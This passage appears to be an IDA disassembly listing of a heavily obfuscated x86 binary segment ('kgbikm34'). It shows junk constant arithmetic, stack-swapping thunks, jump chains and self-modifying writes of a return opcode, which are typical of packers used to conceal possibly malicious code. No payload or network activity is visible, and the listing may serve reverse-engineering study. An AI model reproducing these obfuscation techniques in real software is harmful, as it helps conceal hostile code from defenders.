; =============== S U B	R O U T	I N E =======================================



sub_437548	proc near		; CODE XREF: kgbikm34:0044182Aj
					; sub_43E085:loc_449A10p

; FUNCTION CHUNK AT 00441D46 SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	edx
		mov	edx, edi
		xchg	edx, [esp+0]
		push	0F86D1987h
		pop	edi
		rol	edi, 8
		jmp	loc_441D46
sub_437548	endp

; ---------------------------------------------------------------------------

loc_437560:				; CODE XREF: kgbikm34:0044D7E8j
		pop	esi
		pushf
		cmp	edi, esi
		jmp	loc_44792C
; ---------------------------------------------------------------------------

loc_437569:				; CODE XREF: kgbikm34:0043D89Dj
		add	ebx, 0B57BBF12h

loc_43756F:				; CODE XREF: kgbikm34:loc_43C3A0j
		sub	eax, 2693EA96h
		rol	eax, 18h
		add	eax, 558A2698h
		xchg	eax, [esp]
		jmp	loc_448A30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_437586:				; CODE XREF: sub_440443:loc_43E9DBj
		add	edi, 30CAD724h
		push	offset loc_43C66E
		jmp	loc_44089A
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------

loc_437596:				; CODE XREF: kgbikm34:00445EFCj
		cmp	esi, 0CB1EAA9Bh
		jmp	loc_444FD2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_328. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4375A2:				; CODE XREF: kgbikm34:0044CEDBj
		jmp	sub_43FD86
; ---------------------------------------------------------------------------

loc_4375A7:				; CODE XREF: kgbikm34:00441474j
		sub	esi, 7C62B9D1h
		add	esi, 3C1F9F7Dh
		xor	esi, 0DCF56E0Dh
		or	esi, 979A8391h
		add	esi, 2068E88Bh
; START	OF FUNCTION CHUNK FOR sub_439274

loc_4375C5:				; CODE XREF: sub_439274+4FDDj
		push	offset sub_443072
		jmp	nullsub_176
; END OF FUNCTION CHUNK	FOR sub_439274

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4375CF	proc near		; CODE XREF: sub_43D1AB-299Bj
		retn
sub_4375CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4375D0	proc near		; CODE XREF: kgbikm34:0044D23Ep
					; kgbikm34:0044D373j

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		ror	eax, 1Ah
		mov	edx, [esp-4+arg_0]
		jmp	loc_44789D
sub_4375D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4375DF:				; CODE XREF: kgbikm34:0043A64Fj
		jge	loc_4424BB
		add	ebx, edx

loc_4375E7:				; CODE XREF: kgbikm34:loc_44AD96j
		mov	eax, [esp]
		push	edx
		mov	edx, eax
		xchg	edx, [esp]
		call	sub_43E4C0
		jmp	loc_4399A0
; ---------------------------------------------------------------------------

loc_4375FA:				; CODE XREF: kgbikm34:0043724Aj
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_4375FB	proc near		; CODE XREF: kgbikm34:00444771p
		xchg	ecx, [esp+0]
		pop	ecx
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_369
sub_4375FB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	esi
		push	0C81D4CE6h
		jmp	loc_439FC2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_229. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_437613	proc near		; DATA XREF: kgbikm34:004439B4o

; FUNCTION CHUNK AT 0043AFDE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DFF5 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0043ED50 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004403B9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004414ED SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004421EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446031 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044CE25 SIZE 00000017 BYTES

		xchg	edi, [esp+0]
		call	sub_43F3F8
		push	934E88BCh
		pop	eax
		sub	eax, 6E0DDDBAh
		test	eax, 20000000h
		jmp	loc_4414ED
sub_437613	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_437632:				; CODE XREF: sub_444A23:loc_43C5D2j
					; sub_441D2F-435Aj ...
		jnz	loc_446E9E
		push	ebp
		mov	ebp, edi
		xchg	ebp, [esp+0Ch+var_C]
		push	58F20FB9h
		xchg	eax, [esp+0]
		mov	edi, eax
		jmp	loc_446AD4
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D87

loc_43764D:				; CODE XREF: sub_449D87:loc_4415F0j
		add	eax, ebp
		add	eax, 57922D3Ch
		push	eax
		mov	eax, [ebp-4]
		call	sub_44AFAE

loc_43765E:				; CODE XREF: kgbikm34:0044C6A6j
		ja	loc_4488AA
		sub	ecx, 748E8AAAh
		mov	eax, ebp
		jb	loc_44A29D

loc_437672:				; CODE XREF: kgbikm34:0044C690j
		add	esi, 43A7D31h
		rol	esi, 1
		jmp	loc_44C82B
; END OF FUNCTION CHUNK	FOR sub_449D87
; ---------------------------------------------------------------------------

loc_43767F:				; CODE XREF: kgbikm34:loc_44BB90j
		jnz	loc_43E2E4
		jmp	loc_44B9BB
; ---------------------------------------------------------------------------
		popf
		add	ecx, 0CE4D772Bh
		or	eax, edx
		jmp	loc_43E2E4
; ---------------------------------------------------------------------------
		mov	ebx, [edi]
		jmp	sub_44D600
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A4A3

loc_43769F:				; CODE XREF: sub_43A4A3+6CE2j
		shl	eax, 1Ch
		jmp	loc_4434E3
; END OF FUNCTION CHUNK	FOR sub_43A4A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D20D

loc_4376A7:				; CODE XREF: sub_44D20D:loc_44B6DCj
		pop	ebx
		xor	ebx, 7F9EF0FAh
		sub	ebx, 0D556783Ah
		add	ebx, 0FAABF03Bh
		mov	[ebx], eax
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_44D20D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444681

loc_4376BE:				; CODE XREF: sub_444681+12j
		jmp	loc_441FBF
; END OF FUNCTION CHUNK	FOR sub_444681
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F65B

loc_4376C3:				; CODE XREF: sub_43F65B+EA1j
		pop	ecx
		xor	ecx, 0F0259657h
		sub	ecx, 7442011Ch
		add	ecx, 310B962h
		or	ecx, 0C0025F48h
		jnz	loc_44D81F

loc_4376E2:				; CODE XREF: kgbikm34:0043E9F0j
		mov	edx, 82AFFEDAh
		add	ebp, 0D4922038h
		jmp	loc_446D07
; END OF FUNCTION CHUNK	FOR sub_43F65B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAE4

loc_4376F2:				; CODE XREF: sub_44DAE4:loc_445843j
		or	eax, 2B30E23h
		test	eax, 2000h
		jmp	loc_4373FA
; END OF FUNCTION CHUNK	FOR sub_44DAE4
; ---------------------------------------------------------------------------

loc_437703:				; DATA XREF: sub_43E4C0+8747o
		xchg	eax, [esp]
		jmp	sub_43A4A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C347

loc_43770B:				; CODE XREF: sub_44C347-C92Cj
		and	edx, 0E3F6C5A5h

loc_437711:				; CODE XREF: sub_44C347:loc_43FA14j
		add	ecx, 6B66EDDh
		mov	[ecx], eax
		pop	ecx
		lea	eax, nullsub_9
		call	sub_44D4B3
; END OF FUNCTION CHUNK	FOR sub_44C347
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_437725:				; CODE XREF: sub_446F79+13j
		jmp	loc_44A327
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_43772A:				; CODE XREF: sub_43B932+Cj
		jmp	loc_43BC9B
; END OF FUNCTION CHUNK	FOR sub_43B932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447DA2

loc_43772F:				; CODE XREF: sub_447DA2-F301j
		jmp	loc_44C6CA
; END OF FUNCTION CHUNK	FOR sub_447DA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4479B1

loc_437734:				; CODE XREF: sub_4479B1:loc_445934j
		jz	loc_43C878
		jmp	loc_444AD7
; END OF FUNCTION CHUNK	FOR sub_4479B1
; ---------------------------------------------------------------------------
		mov	ebp, 53AC8BADh
		jmp	loc_447B48
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_43774A:				; CODE XREF: sub_43EAEE:loc_443242j
		jmp	loc_43B9DA
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_43774F:				; CODE XREF: sub_441D2F-6564j
		jmp	nullsub_212
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------

locret_437754:				; CODE XREF: kgbikm34:00447F27j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DCAC

loc_437755:				; CODE XREF: sub_43DCAC+Bj
		jmp	loc_442FE8
; END OF FUNCTION CHUNK	FOR sub_43DCAC

; =============== S U B	R O U T	I N E =======================================



sub_43775A	proc near		; CODE XREF: sub_43F039-3072p
					; kgbikm34:00446103j
		xchg	edi, [esp+0]
		pop	edi
		lea	eax, sub_43ED16
		mov	byte ptr [eax],	0C3h
		jmp	sub_43ED16
sub_43775A	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_251. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DA54

loc_43776D:				; CODE XREF: sub_44DA54+Aj
		jmp	nullsub_262
; END OF FUNCTION CHUNK	FOR sub_44DA54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_437772:				; CODE XREF: sub_44D21F-243Bj
		jmp	loc_43B233
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_437777:				; CODE XREF: sub_439587+8481j
		jmp	loc_43D447
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
		cmp	eax, ebp
		jmp	loc_448C8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444267

loc_437783:				; CODE XREF: sub_444267j
		mov	eax, [esp+0]
		push	edx
		call	sub_44B5E4
		push	723E0928h
		pop	eax
		jmp	loc_449BD9
; END OF FUNCTION CHUNK	FOR sub_444267
; ---------------------------------------------------------------------------
		pop	eax
		sub	eax, 60E3E042h
		add	eax, 9EA4B5ABh
		xchg	eax, [esp]
		jmp	loc_43CC6D
; ---------------------------------------------------------------------------
		test	ebx, 0D5F07B23h
		jmp	loc_43C29B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_4377B7:				; CODE XREF: sub_4494B1:loc_44358Aj
		jnz	loc_44DCA4
		jmp	loc_4454F9
; END OF FUNCTION CHUNK	FOR sub_4494B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_4377C2:				; CODE XREF: sub_4471D6:loc_446B32j
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_437B4C[eax*4]
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	loc_4446C8
		jmp	loc_4390A7
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------
		jmp	ds:off_41E094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444600

loc_4377E4:				; CODE XREF: sub_443F77-F9Dj
					; sub_444600+5FDj ...
		xchg	edi, [esp+0]
		mov	edx, edi
		pop	edi
		jb	loc_442FDF
		jmp	loc_446F5D
; END OF FUNCTION CHUNK	FOR sub_444600
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_4377F5:				; CODE XREF: sub_444002-2058j
		xchg	edx, edi
		jmp	loc_439919
; END OF FUNCTION CHUNK	FOR sub_444002
; ---------------------------------------------------------------------------

loc_4377FC:				; CODE XREF: kgbikm34:0044231Ej
		xor	eax, 3AE45206h
		push	offset sub_44863B
		jmp	locret_441393
; ---------------------------------------------------------------------------

loc_43780C:				; CODE XREF: kgbikm34:loc_447C40j
		mov	edi, edx
		xchg	edi, [esp]
		call	sub_43E513
; START	OF FUNCTION CHUNK FOR sub_4429A6

loc_437816:				; CODE XREF: sub_4429A6+6113j
		jmp	loc_4386A7
; END OF FUNCTION CHUNK	FOR sub_4429A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_43781B:				; CODE XREF: sub_447E85+25DEj
		jns	sub_43CE40
		push	ebx
		test	ecx, 0D4D31737h
		jmp	loc_43A73F
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E127

loc_43782D:				; CODE XREF: sub_44E127:loc_44B54Ej
		pop	esi
		xchg	eax, [esp-4+arg_0]
		mov	ebp, eax
		pop	eax
		retn	4
; END OF FUNCTION CHUNK	FOR sub_44E127
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DBBA

loc_437837:				; CODE XREF: sub_43DBBA+Ej
		jmp	loc_44BE04
; END OF FUNCTION CHUNK	FOR sub_43DBBA
; ---------------------------------------------------------------------------

loc_43783C:				; DATA XREF: sub_447FC7-D90o
		mov	ds:dword_4480B0, eax
		retn
; ---------------------------------------------------------------------------

loc_437843:				; CODE XREF: kgbikm34:00437A38j
		jmp	loc_441B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447FC7

loc_437848:				; CODE XREF: sub_447FC7-3791j
		rol	eax, 13h
		push	ebx
		jmp	loc_44B263
; END OF FUNCTION CHUNK	FOR sub_447FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_437851:				; CODE XREF: sub_43DC42:loc_448970j
		xor	eax, ecx
		pop	ecx
		jmp	loc_438E60
; END OF FUNCTION CHUNK	FOR sub_43DC42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407E7

loc_437859:				; CODE XREF: sub_4407E7j
		mov	eax, ds:dword_441024
		call	sub_4394EB

loc_437864:				; CODE XREF: sub_4424F7+9DCEj
		jmp	loc_44B387
; END OF FUNCTION CHUNK	FOR sub_4407E7
; ---------------------------------------------------------------------------

loc_437869:				; CODE XREF: kgbikm34:0044AD47j
		jmp	loc_4449F9
; ---------------------------------------------------------------------------

loc_43786E:				; DATA XREF: kgbikm34:00442AE4o
		push	0F1C92219h
		pop	eax
		and	eax, 16BFCC1Eh
		add	eax, 0E944A48h
		jmp	loc_446C79
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F145

loc_437886:				; CODE XREF: sub_43F145:loc_43FF27j
		jmp	loc_448567
; END OF FUNCTION CHUNK	FOR sub_43F145
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C56B

loc_43788B:				; CODE XREF: sub_43C56B+13j
		jmp	loc_43A6B9
; END OF FUNCTION CHUNK	FOR sub_43C56B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_437890:				; CODE XREF: sub_43D494:loc_43E77Bj
					; sub_4494B1+47FFj
		sub	eax, 0BA832996h
		jnz	loc_43F699

loc_43789C:				; CODE XREF: kgbikm34:0044B1FFj
		jmp	loc_438B20
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
		cmp	edx, 800FB3B6h
		jmp	loc_44E221
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F145

loc_4378AD:				; CODE XREF: sub_43F145:loc_43933Dj
		jmp	loc_44D08D
; END OF FUNCTION CHUNK	FOR sub_43F145
; ---------------------------------------------------------------------------
		push	8ACD57DEh
		pop	eax
		rol	eax, 2
		jnb	loc_448450
; START	OF FUNCTION CHUNK FOR sub_44C41B

loc_4378C1:				; CODE XREF: sub_44C41B+7j
		jmp	sub_438978
; END OF FUNCTION CHUNK	FOR sub_44C41B
; ---------------------------------------------------------------------------
		mov	ecx, ebp
		popf
		jmp	loc_44844E
; ---------------------------------------------------------------------------

loc_4378CE:				; CODE XREF: kgbikm34:0043C8E7j
					; kgbikm34:0043C90Aj
		sub	esi, 939D6CC1h
		jns	loc_448F3D
		jge	loc_44D633
		jnz	loc_43E4A3
		mov	[edi], edx
		sub	ebx, 5521C30Ah
		jmp	loc_448F3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_4378F3:				; CODE XREF: sub_438B6B:loc_44CE7Ej
		push	eax
		mov	eax, edx
		call	sub_43F3F8
		mov	eax, [esp+4+var_4]
		call	sub_43C7C6
		retn
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------

loc_437904:				; CODE XREF: kgbikm34:00441A83j
		jmp	sub_43ED16
; ---------------------------------------------------------------------------

locret_437909:				; CODE XREF: kgbikm34:0043C45Aj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4395BB

loc_43790A:				; CODE XREF: sub_4466A3:loc_44BCCAj
					; sub_4395BB+129F7j
		jmp	loc_449988
; END OF FUNCTION CHUNK	FOR sub_4395BB
; ---------------------------------------------------------------------------

loc_43790F:				; CODE XREF: kgbikm34:0043E451j
		jmp	loc_43AE97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D632

loc_437914:				; CODE XREF: sub_43D632:loc_43C466j
		jge	loc_442C95

loc_43791A:				; CODE XREF: sub_440F62+B7E0j
		jmp	loc_44B113
; END OF FUNCTION CHUNK	FOR sub_43D632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFE3

loc_43791F:				; CODE XREF: sub_43EFE3-140Aj
		jmp	sub_44CA1A
; END OF FUNCTION CHUNK	FOR sub_43EFE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D114

loc_437924:				; CODE XREF: sub_43D114-5F1Ej
		jmp	loc_446DA8
; END OF FUNCTION CHUNK	FOR sub_43D114
; ---------------------------------------------------------------------------
		add	ebp, edi
		shl	ebx, 5
		push	ebp
		sbb	ebp, eax

loc_437931:				; CODE XREF: kgbikm34:loc_448C8Fj
		jmp	loc_442C94
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_345. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFE3

loc_437937:				; CODE XREF: sub_43EFE3+E31Cj
		jmp	loc_445412
; END OF FUNCTION CHUNK	FOR sub_43EFE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E9A

loc_43793C:				; CODE XREF: sub_447E9A+Dj
		jmp	loc_448DE2
; END OF FUNCTION CHUNK	FOR sub_447E9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4385AD

loc_437941:				; CODE XREF: sub_4385AD:loc_446F6Cj
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_4385AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445E00

loc_437945:				; CODE XREF: sub_445E00+2F78j
		jmp	locret_442F41
; END OF FUNCTION CHUNK	FOR sub_445E00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440841

loc_43794A:				; CODE XREF: sub_440841+1C65j
		jmp	sub_43FD86
; END OF FUNCTION CHUNK	FOR sub_440841
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F45

loc_43794F:				; CODE XREF: sub_446F45-E261j
		jmp	loc_4389BF
; END OF FUNCTION CHUNK	FOR sub_446F45

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437954	proc near		; CODE XREF: sub_442B15:loc_449CE6p

var_18		= dword	ptr -18h

; FUNCTION CHUNK AT 004371E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BB7F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043F66B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00441F73 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		call	sub_448CA3
		mov	eax, 19CFC62Bh
		call	sub_442B15

loc_437966:				; CODE XREF: sub_44720A:loc_447214j
		jmp	loc_43F66B
sub_437954	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44213E

loc_43796B:				; CODE XREF: sub_44213E+Aj
		jmp	loc_43E038
; END OF FUNCTION CHUNK	FOR sub_44213E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F524

loc_437970:				; CODE XREF: sub_43F524:loc_4492CBj
		jge	loc_44BA51

loc_437976:				; CODE XREF: kgbikm34:0044D1E7j
		jmp	sub_440F62
; END OF FUNCTION CHUNK	FOR sub_43F524
; ---------------------------------------------------------------------------
		or	ebp, ebx
		mov	edx, edi
		sub	ebp, 0DD41384Fh
		jmp	loc_4435F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440141

loc_43798A:				; CODE XREF: sub_440141+D26Dj
		jz	sub_44D600
		and	ebx, esi

loc_437992:				; CODE XREF: sub_440141:loc_44701Fj
		push	570CB509h
		pop	eax
		jmp	loc_43A894
; END OF FUNCTION CHUNK	FOR sub_440141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444BCC

loc_43799D:				; CODE XREF: sub_444BCC:loc_443736j
					; sub_444BCC+1B41j
		call	sub_44074C
		push	0E80FA52Fh
		pop	edx
		xor	edx, 0E0BB4842h
		and	edx, 9571E05Ch
		xor	edx, 0B9D36FBCh
		sub	edx, 0C917211Dh
		push	offset sub_443D0B
		jmp	loc_43AA0D
; END OF FUNCTION CHUNK	FOR sub_444BCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_4379CA:				; CODE XREF: sub_44B6E1:loc_437339j
		xchg	ebp, [esp+0]
		call	sub_443DF0
		mov	eax, 64A3F24h
		push	edi
		push	0EBB1B6EBh
		pop	edi
		rol	edi, 1Ch
		jmp	loc_43E96A
; END OF FUNCTION CHUNK	FOR sub_44B6E1

; =============== S U B	R O U T	I N E =======================================



sub_4379E6	proc near		; CODE XREF: kgbikm34:0044AF9Dj
					; kgbikm34:0044CFD8p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00440A52 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449F68 SIZE 0000000F BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	edi, [esp-4+arg_0]
		mov	esi, edi
		pop	edi
		xor	esi, 0A93C707Dh
		add	esi, 2B08FF64h
		mov	[esi], eax
		jmp	loc_440A52
sub_4379E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A4A3

loc_437A03:				; CODE XREF: sub_43A4A3+D9DDj
		or	eax, 0CCBAFDC1h
		add	eax, 8434C2h
		xchg	eax, [esp+8+var_8]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_43A4A3
; ---------------------------------------------------------------------------

loc_437A17:				; CODE XREF: kgbikm34:0043CD4Fj
		jz	loc_441A3E
; START	OF FUNCTION CHUNK FOR sub_440F78

loc_437A1D:				; CODE XREF: sub_440F78-1569j
		jmp	loc_44566A
; END OF FUNCTION CHUNK	FOR sub_440F78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_437A22:				; CODE XREF: sub_43F5F7-5D68j
		jmp	sub_442E1B
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; ---------------------------------------------------------------------------
		shl	edx, 8
		ror	eax, 15h
		jmp	loc_441A30
; ---------------------------------------------------------------------------

loc_437A32:				; CODE XREF: kgbikm34:004444ACj
		jnz	loc_437475
		jmp	loc_437843
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dw 0FE48h
dword_437A40	dd 0			; DATA XREF: kgbikm34:0043F8A4w
					; sub_449F77+6r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D599

loc_437A44:				; CODE XREF: sub_44D599-1756j
		jmp	loc_443267
; END OF FUNCTION CHUNK	FOR sub_44D599

; =============== S U B	R O U T	I N E =======================================



sub_437A49	proc near		; CODE XREF: sub_401000+1D0p
					; sub_437A49+5j
					; DATA XREF: ...
		call	sub_437A59
		jmp	ds:off_41E030
sub_437A49	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_437A54:				; CODE XREF: sub_43D045+7261j
		jmp	loc_43996E
; END OF FUNCTION CHUNK	FOR sub_43D045

; =============== S U B	R O U T	I N E =======================================



sub_437A59	proc near		; CODE XREF: sub_437A49p
					; sub_44BBA8:loc_43C5BCj ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004457CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446DCE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00449529 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004497D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B047 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044C586 SIZE 00000024 BYTES

		jo	loc_44B047
		pop	edx
		push	offset loc_4391A4
		jmp	loc_43C7CE
sub_437A59	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_437A6A	proc near		; CODE XREF: sub_439022+7p
					; kgbikm34:00447ADDj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438C07 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0043CAB0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CEF1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00440E6E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441CD1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044564B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044570F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445D20 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00447787 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00447EF6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B9D9 SIZE 00000017 BYTES

		xchg	edi, [esp+0]
		pop	edi
		jb	loc_447787
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_43ACD5
		jmp	loc_447EF6
sub_437A6A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F039

loc_437A82:				; CODE XREF: sub_43F039+5EF9j
		add	eax, 0BCA590F2h

loc_437A88:				; CODE XREF: sub_4407FD:loc_43FF2Cj
		cmp	eax, 0F33CA0B5h
		jmp	loc_43E9E5
; END OF FUNCTION CHUNK	FOR sub_43F039
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4418C2

loc_437A93:				; CODE XREF: sub_4418C2:loc_44A29Dj
		test	ecx, 10000h
		jmp	loc_4425C3
; END OF FUNCTION CHUNK	FOR sub_4418C2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A9D8

loc_437A9F:				; CODE XREF: sub_44A9D8+2286j
		jmp	loc_441FE0
; END OF FUNCTION CHUNK	FOR sub_44A9D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_437AA4:				; CODE XREF: sub_440C35+Bj
		jmp	loc_43E0A0
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
		mov	ds:off_41E210, eax
		lea	eax, sub_43CAB5
		mov	byte ptr [eax],	0C3h
		jmp	sub_43CAB5

; =============== S U B	R O U T	I N E =======================================



sub_437ABD	proc near		; CODE XREF: sub_402F48+4Ap
					; kgbikm34:0044ACDAj
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043D0F9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004406CD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044ACE0 SIZE 00000016 BYTES

		push	ecx
		push	698D2A72h
		pop	ecx
		rol	ecx, 1
		jmp	loc_4406CD
sub_437ABD	endp


; =============== S U B	R O U T	I N E =======================================



sub_437ACB	proc near		; CODE XREF: kgbikm34:00439700j
					; sub_444A5E+638Ep
		xchg	eax, [esp+0]
		pop	eax
		mov	ecx, [ebx+ecx+78h]
		call	sub_437B32

loc_437AD8:				; CODE XREF: sub_4407E7+CE7Bj
		jmp	sub_44B5E4
sub_437ACB	endp ; sp-analysis failed


